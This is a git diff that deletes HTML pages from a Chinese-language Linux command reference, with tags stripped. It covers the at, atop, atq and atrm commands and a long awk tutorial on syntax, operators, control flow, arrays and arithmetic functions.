汇编文件:指定要汇编的源文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/at.html b/linux-command.docset/Contents/Resources/Documents/c/at.html deleted file mode 100644 index 975c8fd8cc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/at.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - - - - - - at 命令,Linux at 命令详解:在指定时间执行一个任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

at

-

在指定时间执行一个任务

-

补充说明

-

at命令 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。

-

上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:now + count time-units,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。

-

语法

-
at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
-
-

选项

-
-f:指定包含具体指令的任务文件;
--q:指定新任务的队列名称;
--l:显示待执行任务的列表;
--d:删除指定的待执行任务;
--m:任务执行完成后向用户发送E-mail。
-
-

参数

-

日期时间:指定任务执行的日期时间。

-

实例

-

三天后的下午 5 点锺执行/bin/ls

-
[root@localhost ~]# at 5pm+3 days
-at> /bin/ls
-at> <EOT>
-job 7 at 2013-01-08 17:00
-
-

明天17点钟,输出时间到指定文件内:

-
[root@localhost ~]# at 17:20 tomorrow
-at> date >/root/2013.log
-at> <EOT>
-job 8 at 2013-01-06 17:20
-
-

计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务:

-
[root@localhost ~]# atq
-8       2013-01-06 17:20 a root
-7       2013-01-08 17:00 a root
-
-

删除已经设置的任务:

-
[root@localhost ~]# atq
-8       2013-01-06 17:20 a root
-7       2013-01-08 17:00 a root
-
-[root@localhost ~]# atrm 7
-[root@localhost ~]# atq
-8       2013-01-06 17:20 a root
-
-

显示已经设置的任务内容:

-
[root@localhost ~]# at -c 8
-#!/bin/sh
-# atrun uid=0 gid=0
-# mail     root 0
-umask 22此处省略n个字符
-date >/root/2013.log
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/atop.html b/linux-command.docset/Contents/Resources/Documents/c/atop.html deleted file mode 100644 index 1fd1801fda..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/atop.html +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - atop 命令,Linux atop 命令详解:监控Linux系统资源与进程的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

atop

-

监控Linux系统资源与进程的工具

-

补充说明

-

[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。

-

语法

-
atop(选项)(参数)
-
-

说明

-

ATOP列:该列显示了主机名、信息采样日期和时间点

-

PRC列:该列显示进程整体运行情况

-
    -
  • sys、usr字段分别指示进程在内核态和用户态的运行时间
  • -
  • #proc字段指示进程总数
  • -
  • #zombie字段指示僵死进程的数量
  • -
  • #exit字段指示atop采样周期期间退出的进程数量
  • -
-

CPU列:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲)

-
    -
  • sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例
  • -
  • irq字段指示CPU被用于处理中断的时间比例
  • -
  • idle字段指示CPU处在完全空闲状态的时间比例
  • -
  • wait字段指示CPU处在“进程等待磁盘IO导致CPU空闲”状态的时间比例
  • -
-

CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。

-

cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%

-

CPL列:该列显示CPU负载情况

-
    -
  • avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量
  • -
  • csw字段指示上下文交换次数
  • -
  • intr字段指示中断发生次数
  • -
-

MEM列:该列指示内存的使用情况

-
    -
  • tot字段指示物理内存总量
  • -
  • free字段指示空闲内存的大小
  • -
  • cache字段指示用于页缓存的内存大小
  • -
  • buff字段指示用于文件缓存的内存大小
  • -
  • slab字段指示系统内核占用的内存大小
  • -
-

SWP列:该列指示交换空间的使用情况

-
    -
  • tot字段指示交换区总量
  • -
  • free字段指示空闲交换空间大小
  • -
-

PAG列:该列指示虚拟内存分页情况

-

swin、swout字段:换入和换出内存页数

-

DSK列:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息

-
    -
  • sda字段:磁盘设备标识
  • -
  • busy字段:磁盘忙时比例
  • -
  • read、write字段:读、写请求数量
  • -
-

NET列:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息

-
    -
  • XXXi 字段指示各层或活动网口收包数目
  • -
  • XXXo 字段指示各层或活动网口发包数目
  • -
-

atop日志

-

每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢?

-

对于atop日志文件的保存方式,我们可以这样:

-
    -
  • 每天保存一个atop日志文件,该日志文件记录当天信息
  • -
  • 日志文件以"atop_YYYYMMDD"的方式命名
  • -
  • 设定日志失效期限,自动删除一段时间前的日志文件
  • -
-

其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):

-
(sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& 
-
-

最后,我们修改cron文件,每天凌晨执行atop.daily脚本:

-
0 0 * * * root /etc/cron.daily/atop.daily
-
-

相关资料

- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/atq.html b/linux-command.docset/Contents/Resources/Documents/c/atq.html deleted file mode 100644 index 892a983604..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/atq.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - atq 命令,Linux atq 命令详解:列出当前用户的at任务列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

atq

-

列出当前用户的at任务列表

-

补充说明

-

atq命令 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。

-

语法

-
atq [-V] [-q 队列] [-v]
-
-

选项

-
-V:显示版本号;
--q:查询指定队列的任务。
-
-

实例

-
at now + 10 minutes
-at> echo 1111
-at> <eot>
-job 3 at Fri Apr 26 12:56:00 2013
-
-atq
-3       Fri Apr 26 12:56:00 2013 a root
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/atrm.html b/linux-command.docset/Contents/Resources/Documents/c/atrm.html deleted file mode 100644 index 38e582f8ca..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/atrm.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - atrm 命令,Linux atrm 命令详解:删除待执行任务队列中的指定任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

atrm

-

删除待执行任务队列中的指定任务

-

补充说明

-

atrm命令 用于删除待执行任务队列中的指定任务。

-

语法

-
atrm(选项)(参数)
-
-

选项

-
-V:显示版本号。
-
-

参数

-

任务号:指定待执行队列中要删除的任务。

-

实例

-

删除已经排队的任务

-
atq        # 显示当前已经设置的任务
-2 Mon May 17 08:00:00 2010 a root
-1 Sat May 15 17:00:00 2010 a root
-
-atrm 2     # 删除任务2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/awk.html b/linux-command.docset/Contents/Resources/Documents/c/awk.html deleted file mode 100644 index d09b8c2db6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/awk.html +++ /dev/null @@ -1,745 +0,0 @@ - - - - - - - - - - - awk 命令,Linux awk 命令详解:文本和数据进行处理的编程语言 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

awk

-

文本和数据进行处理的编程语言

-

补充说明

-

awk 是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。

-

awk命令格式和选项

-

语法形式

-
awk [options] 'script' var=value file(s)
-awk [options] -f scriptfile var=value file(s)
-
-

常用命令选项

-
    -
  • -F fs fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:,默认的分隔符是连续的空格或制表符
  • -
  • -v var=value 赋值一个用户定义变量,将外部变量传递给awk
  • -
  • -f scripfile 从脚本文件中读取awk命令
  • -
  • -m[fr] val 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。
  • -
-

awk模式和操作

-

awk脚本是由模式和操作组成的。

-

模式

-

模式可以是以下任意一个:

-
    -
  • /正则表达式/:使用通配符的扩展集。
  • -
  • 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。
  • -
  • 模式匹配表达式:用运算符~(匹配)和!~(不匹配)。
  • -
  • BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理
  • -
-

操作

-

操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是:

-
    -
  • 变量或数组赋值
  • -
  • 输出命令
  • -
  • 内置函数
  • -
  • 控制流语句
  • -
-

awk脚本基本结构

-
awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file
-
-

一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 单引号双引号 中,例如:

-
awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename
-awk "BEGIN{ i=0 } { i++ } END{ print i }" filename
-
-

awk的工作原理

-
awk 'BEGIN{ commands } pattern{ commands } END{ commands }'
-
-
    -
  • 第一步:执行BEGIN{ commands }语句块中的语句;
  • -
  • 第二步:从文件或标准输入(stdin)读取一行,然后执行pattern{ commands }语句块,它逐行扫描文件,从第一行到最后一行重复这个过程,直到文件全部被读取完毕。
  • -
  • 第三步:当读至输入流末尾时,执行END{ commands }语句块。
  • -
-

BEGIN语句块 在awk开始从输入流中读取行 之前 被执行,这是一个可选的语句块,比如变量初始化、打印输出表格的表头等语句通常可以写在BEGIN语句块中。

-

END语句块 在awk从输入流中读取完所有的行 之后 即被执行,比如打印所有行的分析结果这类信息汇总都是在END语句块中完成,它也是一个可选语句块。

-

pattern语句块 中的通用命令是最重要的部分,它也是可选的。如果没有提供pattern语句块,则默认执行{ print },即打印每一个读取到的行,awk读取的每一行都会执行该语句块。

-

示例

-
echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
-Start
-A line 1
-A line 2
-End
-
-

当使用不带参数的print时,它就打印当前行,当print的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如:

-
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }' 
-v1 v2 v3
-
-

双引号拼接使用:

-
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }'
-v1=v2=v3
-
-

{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中,将打印的结果等语句放在END语句块中。

-

awk内置变量(预定义变量)

-

说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk

-
 **$n**  当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。 
- **$0**  这个变量包含执行过程中当前行的文本内容。
-[N]  **ARGC**  命令行参数的数目。
-[G]  **ARGIND**  命令行中当前文件的位置(从0开始算)。
-[N]  **ARGV**  包含命令行参数的数组。
-[G]  **CONVFMT**  数字转换格式(默认值为%.6g)。
-[P]  **ENVIRON**  环境变量关联数组。
-[N]  **ERRNO**  最后一个系统错误的描述。
-[G]  **FIELDWIDTHS**  字段宽度列表(用空格键分隔)。
-[A]  **FILENAME**  当前输入文件的名。
-[P]  **FNR**  同NR,但相对于当前文件。
-[A]  **FS**  字段分隔符(默认是任何空格)。
-[G]  **IGNORECASE**  如果为真,则进行忽略大小写的匹配。
-[A]  **NF**  表示字段数,在执行过程中对应于当前的字段数。
-[A]  **NR**  表示记录数,在执行过程中对应于当前的行号。
-[A]  **OFMT**  数字的输出格式(默认值是%.6g)。
-[A]  **OFS**  输出字段分隔符(默认值是一个空格)。
-[A]  **ORS**  输出记录分隔符(默认值是一个换行符)。
-[A]  **RS**  记录分隔符(默认是一个换行符)。
-[N]  **RSTART**  由match函数所匹配的字符串的第一个位置。
-[N]  **RLENGTH**  由match函数所匹配的字符串的长度。
-[N]  **SUBSEP**  数组下标分隔符(默认值是34)。
-
-

转义序列

-
\\ \自身
-\$ 转义$
-\t 制表符
-\b 退格符
-\r 回车符
-\n 换行符
-\c 取消换行
-
-

示例

-
echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}' 
-Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3
-Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5
-Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7
-
-

使用print $NF可以打印出一行中的最后一个字段,使用$(NF-1)则是打印倒数第二个字段,其他以此类推:

-
echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}'
-f3
-f5
-
-
echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}'
-f2
-f4
-
-
-

打印每一行的第二和第三个字段:

-
awk '{ print $2,$3 }' filename
-
-

统计文件中的行数:

-
awk 'END{ print NR }' filename
-
-

以上命令只使用了END语句块,在读入每一行的时,awk会将NR更新为对应的行号,当到达最后一行NR的值就是最后一行的行号,所以END语句块中的NR就是文件的行数。

-

一个每一行中第一个字段值累加的例子:

-
seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ print "等于"; print sum }' 
-总和:
-1+
-2+
-3+
-4+
-5+
-等于
-15
-
-

将外部变量值传递给awk

-

借助 -v选项 ,可以将外部值(并非来自stdin)传递给awk:

-
VAR=10000
-echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
-
-

另一种传递外部变量方法:

-
var1="aaa"
-var2="bbb"
-echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2
-
-

当输入来自于文件时使用:

-
awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename
-
-

以上方法中,变量之间用空格分隔作为awk的命令行参数跟随在BEGIN、{}和END语句块之后。

-

查找进程pid

-
netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
-
-

awk运算与判断

-

作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。

-

算术运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| + - | 加,减 | -| * / & | 乘,除与求余 | -| + - ! | 一元加,减和逻辑非 | -| ^ *** | 求幂 | -| ++ -- | 增加或减少,作为前缀或后缀 |

-

例:

-
awk 'BEGIN{a="b";print a++,++a;}'
-0 2
-
-

注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0

-

赋值运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| = += -= *= /= %= ^= **= | 赋值语句 |

-

例:

-
a+=5; 等价于:a=a+5; 其它同类
-
-

逻辑运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| \|\| | 逻辑或 | -| && | 逻辑与 |

-

例:

-
awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}'
-0 1
-
-

正则运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| ~ !~ | 匹配正则表达式和不匹配正则表达式 |

-
^ 行首
-$ 行尾
-. 除了换行符以外的任意单个字符
-* 前导字符的零个或多个
-.* 所有字符
-[] 字符组内的任一字符
-[^]对字符组内的每个字符取反(不匹配字符组内的每个字符)
-^[^] 非字符组内的字符开头的行
-[a-z] 小写字母
-[A-Z] 大写字母
-[a-Z] 小写和大写字母
-[0-9] 数字
-\< 单词头单词一般以空格或特殊字符做分隔,连续的字符串被当做单词
-\> 单词尾
-
-
-

正则需要用 /正则/ 包围住

-
-

例:

-
awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}'
-ok
-
-

关系运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| < <= > >= != == | 关系运算符 |

-

例:

-
awk 'BEGIN{a=11;if(a >= 9){print "ok";}}'
-ok
-
-

注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。

-

其它运算符

-

| 运算符 | 描述 | -| ----- | ---- | -| $ | 字段引用 | -| 空格 | 字符串连接符 | -| ?: | C条件表达式 | -| in | 数组中是否存在某键值 |

-

例:

-
awk 'BEGIN{a="b";print a=="b"?"ok":"err";}'
-ok
-
-
awk 'BEGIN{a="b";arr[0]="b";arr[1]="c";print (a in arr);}'
-0
-
-
awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}'
-1
-
-

运算级优先级表

-

!级别越高越优先
-级别越高越优先

-

awk高级输入输出

-

读取下一条记录

-

awk中next语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并:

-
cat text.txt
-a
-b
-c
-d
-e
-
-awk 'NR%2==1{next}{print NR,$0;}' text.txt
-2 b
-4 d
-
-

当记录行号除以2余1,就跳过当前行。下面的print NR,$0也不会执行。下一行开始,程序有开始判断NR%2值。这个时候记录行号是:2 ,就会执行下面语句块:'print NR,$0'

-

分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行:

-
cat text.txt
-web01[192.168.2.100]
-httpd            ok
-tomcat               ok
-sendmail               ok
-web02[192.168.2.101]
-httpd            ok
-postfix               ok
-web03[192.168.2.102]
-mysqld            ok
-httpd               ok
-0
-awk '/^web/{T=$0;next;}{print T":"t,$0;}' text.txt
-web01[192.168.2.100]:   httpd            ok
-web01[192.168.2.100]:   tomcat               ok
-web01[192.168.2.100]:   sendmail               ok
-web02[192.168.2.101]:   httpd            ok
-web02[192.168.2.101]:   postfix               ok
-web03[192.168.2.102]:   mysqld            ok
-web03[192.168.2.102]:   httpd               ok
-
-

简单地读取一条记录

-

awk getline用法:输出重定向需用到getline函数。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。

-

getline语法:getline var,变量var包含了特定行的内容。

-

awk getline从整体上来说,用法说明:

-
    -
  • 当其左右无重定向符|<时: getline作用于当前文件,读入当前文件的第一行给其后跟的变量var$0(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
  • -
  • 当其左右有重定向符|<时: getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
  • -
-

示例:

-

执行linux的date命令,并通过管道输出给getline,然后再把输出赋值给自定义变量out,并打印它:

-
awk 'BEGIN{ "date" | getline out; print out }' test
-
-

执行shell的date命令,并通过管道输出给getline,然后getline从管道中读取并将输入赋值给out,split函数把变量out转化成数组mon,然后打印数组mon的第二个元素:

-
awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test
-
-

命令ls的输出传递给geline作为输入,循环使getline从ls的输出中读取一行,并把它打印到屏幕。这里没有输入文件,因为BEGIN块在打开输入文件前执行,所以可以忽略输入文件。

-
awk 'BEGIN{ while( "ls" | getline) print }'
-
-

关闭文件

-

awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。

-
close("filename")
-
-

filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。

-

输出到一个文件

-

awk中允许用如下方式将结果输出到一个文件:

-
echo | awk '{printf("hello word!n") > "datafile"}'
-# 或
-echo | awk '{printf("hello word!n") >> "datafile"}'
-
-

设置字段定界符

-

默认的字段定界符是空格,可以使用-F "定界符" 明确指定一个定界符:

-
awk -F: '{ print $NF }' /etc/passwd
-# 或
-awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd
-
-

BEGIN语句块中则可以用OFS=“定界符”设置输出字段的定界符。

-

流程控制语句

-

在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。

-

条件判断语句

-
if(表达式)
-  语句1
-else
-  语句2
-
-

格式中语句1可以是多个语句,为了方便判断和阅读,最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为:

-
if(表达式)
-  {语句1}
-else if(表达式)
-  {语句2}
-else
-  {语句3}
-
-

示例:

-
awk 'BEGIN{
-test=100;
-if(test>90){
-  print "very good";
-  }
-  else if(test>60){
-    print "good";
-  }
-  else{
-    print "no pass";
-  }
-}'
-
-very good
-
-

每条命令语句后面可以用; 分号 结尾。

-

循环语句

-

# while语句

-
while(表达式)
-  {语句}
-
-

示例:

-
awk 'BEGIN{
-test=100;
-total=0;
-while(i<=test){
-  total+=i;
-  i++;
-}
-print total;
-}'
-5050
-
-

# for循环

-

for循环有两种格式:

-

格式1:

-
for(变量 in 数组)
-  {语句}
-
-

示例:

-
awk 'BEGIN{
-for(k in ENVIRON){
-  print k"="ENVIRON[k];
-}
-
-}'
-TERM=linux
-G_BROKEN_FILENAMES=1
-SHLVL=1
-pwd=/root/text
-...
-logname=root
-HOME=/root
-SSH_CLIENT=192.168.1.21 53087 22
-
-

注:ENVIRON是awk常量,是子典型数组。

-

格式2:

-
for(变量;条件;表达式)
-  {语句}
-
-

示例:

-
awk 'BEGIN{
-total=0;
-for(i=0;i<=100;i++){
-  total+=i;
-}
-print total;
-}'
-5050
-
-

# do循环

-
do
-{语句} while(条件)
-
-

例子:

-
awk 'BEGIN{ 
-total=0;
-i=0;
-do {total+=i;i++;} while(i<=100)
-  print total;
-}'
-5050
-
-

其他语句

-
    -
  • break 当 break 语句用于 while 或 for 语句时,导致退出程序循环。
  • -
  • continue 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。
  • -
  • next 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。
  • -
  • exit 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。
  • -
-

数组应用

-

数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。

-

数组的定义

-

数字做数组索引(下标):

-
Array[1]="sun"
-Array[2]="kai"
-
-

字符串做数组索引(下标):

-
Array["first"]="www"
-Array"[last"]="name"
-Array["birth"]="1987"
-
-

使用中print Array[1]会打印出sun;使用print Array[2]会打印出kai;使用print["birth"]会得到1987。

-

读取数组的值

-
{ for(item in array) {print array[item]}; }       #输出的顺序是随机的
-{ for(i=1;i<=len;i++) {print array[i]}; }         #Len是数组的长度
-
-

数组相关函数

-

得到数组长度:

-
awk 'BEGIN{info="it is a test";lens=split(info,tA," ");print length(tA),lens;}'
-4 4
-
-

length返回字符串以及数组长度,split进行分割字符串为数组,也会返回分割得到数组长度。

-
awk 'BEGIN{info="it is a test";split(info,tA," ");print asort(tA);}'
-4
-
-

asort对数组进行排序,返回数组长度。

-

输出数组内容(无序,有序输出):

-
awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}'
-4 test
-1 it
-2 is
-3 a 
-
-

for…in输出,因为数组是关联数组,默认是无序的。所以通过for…in得到是无序的数组。如果需要得到有序数组,需要通过下标获得。

-
awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){print k,tA[k];}}'
-1 it
-2 is
-3 a
-4 test
-
-

注意:数组下标是从1开始,与C数组不一样。

-

判断键值存在以及删除键值:

-
# 错误的判断方法:
-awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if(tB["c"]!="1"){print "no found";};for(k in tB){print k,tB[k];}}' 
-no found
-a a1
-b b1
-c
-
-

以上出现奇怪问题,tB[“c”]没有定义,但是循环时候,发现已经存在该键值,它的值为空,这里需要注意,awk数组是关联数组,只要通过数组引用它的key,就会自动创建改序列。

-
# 正确判断方法:
-awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if( "c" in tB){print "ok";};for(k in tB){print k,tB[k];}}'  
-a a1
-b b1
-
-

if(key in array)通过这种方法判断数组中是否包含key键值。

-
#删除键值:
-awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];}}'                     
-b b1
-
-

delete array[key]可以删除,对应数组key的,序列值。

-

二维、多维数组使用

-

awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,array[2,4]=1这样的访问是允许的。awk使用一个特殊的字符串SUBSEP(�34)作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。

-

类似一维数组的成员测试,多维数组可以使用if ( (i,j) in array)这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用for ( item in array )这样的语法遍历数组。与一维数组不同的是,多维数组必须使用split()函数来访问单独的下标分量。

-
awk 'BEGIN{
-for(i=1;i<=9;i++){
-  for(j=1;j<=9;j++){
-    tarr[i,j]=i*j; print i,"*",j,"=",tarr[i,j];
-  }
-}
-}'
-1 * 1 = 1
-1 * 2 = 2
-1 * 3 = 3
-1 * 4 = 4
-1 * 5 = 5
-1 * 6 = 6 
-...
-9 * 6 = 54
-9 * 7 = 63
-9 * 8 = 72
-9 * 9 = 81
-
-

可以通过array[k,k2]引用获得数组内容。

-

另一种方法:

-
awk 'BEGIN{
-for(i=1;i<=9;i++){
-  for(j=1;j<=9;j++){
-    tarr[i,j]=i*j;
-  }
-}
-for(m in tarr){
-  split(m,tarr2,SUBSEP); print tarr2[1],"*",tarr2[2],"=",tarr[m];
-}
-}'
-
-

内置函数

-

awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。

-

算术函数

-

| 格式 | 描述 | -| ---- | ---- | -| atan2( y, x ) | 返回 y/x 的反正切。 | -| cos( x ) | 返回 x 的余弦;x 是弧度。 | -| sin( x ) | 返回 x 的正弦;x 是弧度。 | -| exp( x ) | 返回 x 幂函数。 | -| log( x ) | 返回 x 的自然对数。 | -| sqrt( x ) | 返回 x 平方根。 | -| int( x ) | 返回 x 的截断至整数的值。 | -| rand( ) | 返回任意数字 n,其中 0 <= n < 1。 | -| srand( [expr] ) | 将 rand 函数的种子值设置为 Expr 参数的值,或如果省略 Expr 参数则使用某天的时间。返回先前的种子值。 |

-

举例说明:

-
awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}'
-0.841 22026.466 2.303 3
-
-
-

OFMT 设置输出数据格式是保留3位小数。

-

获得随机数:

-
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
-78
-awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
-31
-awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
-41 
-
-

字符串函数

-

